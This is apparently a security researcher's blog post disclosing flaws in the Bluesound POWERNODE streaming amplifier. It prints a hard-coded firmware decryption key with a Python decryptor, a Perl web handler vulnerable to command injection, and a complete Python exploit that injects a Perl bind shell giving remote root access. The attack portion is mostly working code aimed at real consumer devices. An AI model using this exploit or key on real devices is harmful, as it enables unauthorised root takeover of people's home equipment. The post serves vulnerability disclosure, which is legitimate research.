Rot256 : Cryptography & Other Random Bits.

# Bluesound POWERNODE

The Bluesound POWERNODE is a “Wireless Stereo Component”, which allows the user to stream to an older analogue sound system. It also includes an amp. I (sadly) happen to have such a device at home and decided to take a look at the firmware. The results were as expected.

Most of the product line appears to be vulnerable, since they run mostly the same software. I would also be surprised if this is the only vulnerability in the device.

Bluesound has been contacted.

## Process list

From the web-interface the POWERNODE provides a really handy diagnostics view, which includes (among other things) a process list:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72  USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 2080 560 ? Ss Dec05 0:00 init root 2 0.0 0.0 0 0 ? S Dec05 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? S Dec05 0:42 [ksoftirqd/0] root 4 0.0 0.0 0 0 ? S Dec05 0:48 [events/0] root 5 0.0 0.0 0 0 ? S Dec05 0:00 [khelper] root 8 0.0 0.0 0 0 ? S Dec05 0:00 [async/mgr] root 9 0.0 0.0 0 0 ? S Dec05 0:00 [pm] root 62 0.0 0.0 0 0 ? S Dec05 0:00 [usb_wakeup thre] root 63 0.0 0.0 0 0 ? S Dec05 0:00 [usb_wakeup thre] root 145 0.0 0.0 0 0 ? S Dec05 0:03 [sync_supers] root 147 0.0 0.0 0 0 ? S Dec05 0:03 [bdi-default] root 149 0.0 0.0 0 0 ? S Dec05 0:00 [kblockd/0] root 156 0.0 0.0 0 0 ? S Dec05 0:00 [mxc_spi.0] root 164 0.0 0.0 0 0 ? S Dec05 0:00 [otg_switch/0] root 170 0.0 0.0 0 0 ? S Dec05 0:00 [khubd] root 179 0.0 0.0 0 0 ? S Dec05 0:00 [kmmcd] root 188 0.0 0.0 0 0 ? S Dec05 0:00 [pmic-event-thre] root 250 0.0 0.0 0 0 ? S Dec05 0:00 [rpciod/0] root 265 0.0 0.0 0 0 ? S Dec05 0:00 [kswapd0] root 313 0.0 0.0 0 0 ? S Dec05 0:00 [aio/0] root 325 0.0 0.0 0 0 ? S Dec05 0:00 [nfsiod] root 331 0.0 0.0 0 0 ? S< Dec05 0:00 [kslowd000] root 332 0.0 0.0 0 0 ? S< Dec05 0:00 [kslowd001] root 338 0.0 0.0 0 0 ? S Dec05 0:00 [crypto/0] root 978 0.0 0.0 0 0 ? S Dec05 0:00 [kconservative/0] root 980 0.0 0.0 0 0 ? S Dec05 0:00 [hwevent] root 982 0.0 0.0 0 0 ? S Dec05 0:00 [esdhc_wq/0] root 985 0.0 0.0 0 0 ? S Dec05 2:00 [esdhc_wq/0] root 1014 0.0 0.0 0 0 ? S Dec05 0:01 [mmcqd] root 1022 0.0 0.0 0 0 ? S Dec05 0:00 [jbd2/mmcblk0p2-] root 1023 0.0 0.0 0 0 ? S Dec05 0:00 [ext4-dio-unwrit] root 1046 0.0 0.0 0 0 ? S Dec05 0:00 [jbd2/mmcblk0p3-] root 1047 0.0 0.0 0 0 ? S Dec05 0:00 [ext4-dio-unwrit] root 1051 0.0 0.2 2336 700 ? Ss Dec05 0:12 syslogd -C256 root 1054 0.0 0.2 1768 572 ? S

Running Perl as root is usually a bad sign.

## Perl obfuscation

They also include additional security such as BluOS firmware being encrypted and locked down to prevent malicious attacks.

– Bluesound support forums

Indeed taking a look at the firmware you will find perl files like the one below:

 1 2 3 4 5 6 7  use Filter::Crypto::Decrypt; 1b8c1db0d33f54236ec2ef560a93261bd5a3c6c0d724a5834543c201393a68c86c142e26e115e210810afcd59d 31de2d500fdf77b486ebdd96bd7fdbf901d1e0fd7f94ed2299950ea5137a440f7861a73861fcafcd7aaac6b477 856cfd74d5679a045ad7e6c17d9e119fdf1ef3e308aee092b106c4360e5e7ca92eee84528e79d0963f49396c46 7c1b1886ceca25a10589f4135253f3f71e8dc30628180d1b73d3bdbeaf6ec15dc58d28851fca86502b79bb6680 59da36fc15d65e955529cf54a5d74da3307d7f8b10b7e03cade60e6f9a0b54217410082cf8f28ce7888bcb6f7a ... 

Below a script for decrypting the perl files (the same key is used on all devices and models):

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35  #!/usr/bin/env python2 BLOCKSIZE = 16 KEYSIZE = 32 PSWDSIZE = 32 SALTLEN = 8 pswd = 'CDCBCF6B3127E14C1504B39FA0A4AC68CD2C06CFA124A6FC185BC14FC4625088' pswd = pswd.decode('hex') import sys import hashlib with open(sys.argv[1], 'r') as f: data = f.read() _, d = data.split('\n') d = d.decode('hex') # derive key salt = d[:SALTLEN] d = d[SALTLEN:] key = hashlib.pbkdf2_hmac('sha1', pswd, salt, 2048, KEYSIZE) print key.encode('hex') # decrypt file from Crypto.Cipher import AES iv = d[:BLOCKSIZE] d = d[BLOCKSIZE:] obj = AES.new(key, AES.MODE_CBC, iv) print obj.decrypt(d) 

Now lets take a look at the firmware.

## Exploit

Finding this trivial exploit took about 3 minutes using “grep”. They love the always handy “system” function, unfortunately Bluesound are not big fans of sanitising the inputs. Below you see a textbook example of command injection:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25  '/enable' => sub { my ($httpd,$req) = @_; my $msg = 'Note: A reboot is required \ for any changes to fully take effect! '; foreach my$feature ($req->params()) { my$file = '/var/data/' . $feature . '_enable'; my$enable = $req->parm($feature); if ($enable eq 'yes') { system("touch$file && sync"); } elsif ($enable eq 'no') { system("rm$file && sync"); } if (-f $file) {$msg .= "
$feature enabled"; } else {$msg .= "
$feature disabled"; } }$msg .= '

Reboot'; $req->respond ({ content => ['text/html',$msg]}); } 

And a doit binding a root shell:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20  #!/usr/bin/env python2 import requests import sys addr = sys.argv[1] port = int(sys.argv[2]) url = 'http://%s/enable' % addr shell = 'use Socket;$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' % port shell += 'bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);' shell += 'close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");' shell += 'exec("/bin/bash -i");};' cmd = '$(perl -e \'%s\' &)' % shell print 'bind to', addr, ':', port requests.get(url, params={cmd:'yes'}) 

Just #LivingHifi